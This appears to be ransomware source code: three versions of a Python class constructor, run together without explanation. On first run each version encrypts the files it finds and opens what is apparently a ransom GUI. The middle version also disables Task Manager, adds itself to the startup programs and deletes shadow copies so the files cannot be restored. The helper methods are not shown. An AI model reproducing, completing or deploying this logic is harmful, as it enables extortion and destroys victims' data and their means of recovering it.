def __init__(self): ''' @summary: Constructor ''' self.__config = self.__load_config() self.encrypted_file_list = os.path.join(os.environ['APPDATA'], "encrypted_files.txt") # Init Crypt Lib self.Crypt = Crypt.SymmetricCrypto() # FIRST RUN # Encrypt! if not os.path.isfile(self.encrypted_file_list): self.Crypt.init_keys() file_list = self.find_files() # Start encryption self.encrypt_files(file_list) # If no files were encrypted. do nothing if not os.path.isfile(self.encrypted_file_list): return # Present GUI self.start_gui() # ALREADY ENCRYPTED # Present menu elif os.path.isfile(self.encrypted_file_list): self.start_gui()
def __init__(self): ''' @summary: Constructor ''' self.__config = self.__load_config() self.encrypted_file_list = os.path.join(os.environ['APPDATA'], "encrypted_files.txt") # Init Crypt Lib self.Crypt = Crypt.SymmetricCrypto() # FIRST RUN # Encrypt! if not os.path.isfile(self.encrypted_file_list): # Disable Task Manager if self.__config["disable_task_manager"]: self.task_manager = TaskManager() try: self.task_manager.disable() except WindowsError: pass # Add to startup programs # TODO Test if self.__config["open_gui_on_login"]: self.__add_to_startup_programs() # Find files and initialise keys self.Crypt.init_keys() file_list = self.find_files() # Start encryption self.encrypt_files(file_list) # If no files were encrypted. cleanup and return if self.__no_files_were_encrypted(): # TODO Test self.cleanup() return # Delete Shadow Copies if "delete_shadow_copies" in self.__config: self.__delete_shadow_files() # Open GUI self.start_gui() # ALREADY ENCRYPTED - Open GUI elif os.path.isfile(self.encrypted_file_list): self.start_gui()
def __init__(self): ''' @summary: Constructor ''' self.encrypted_file_list = os.path.join(os.environ['APPDATA'], "encrypted_files.txt") # Init Crypt Lib self.Crypt = Crypt.SymmetricCrypto() # FIRST RUN # Encrypt! if not os.path.isfile(self.encrypted_file_list): self.Crypt.init_keys() file_list = self.find_files() # Start encryption # TODO Restore this self.encrypt_files(file_list) # Present GUI self.start_gui() # ALREADY ENCRYPTED # Present menu elif os.path.isfile(self.encrypted_file_list): self.start_gui()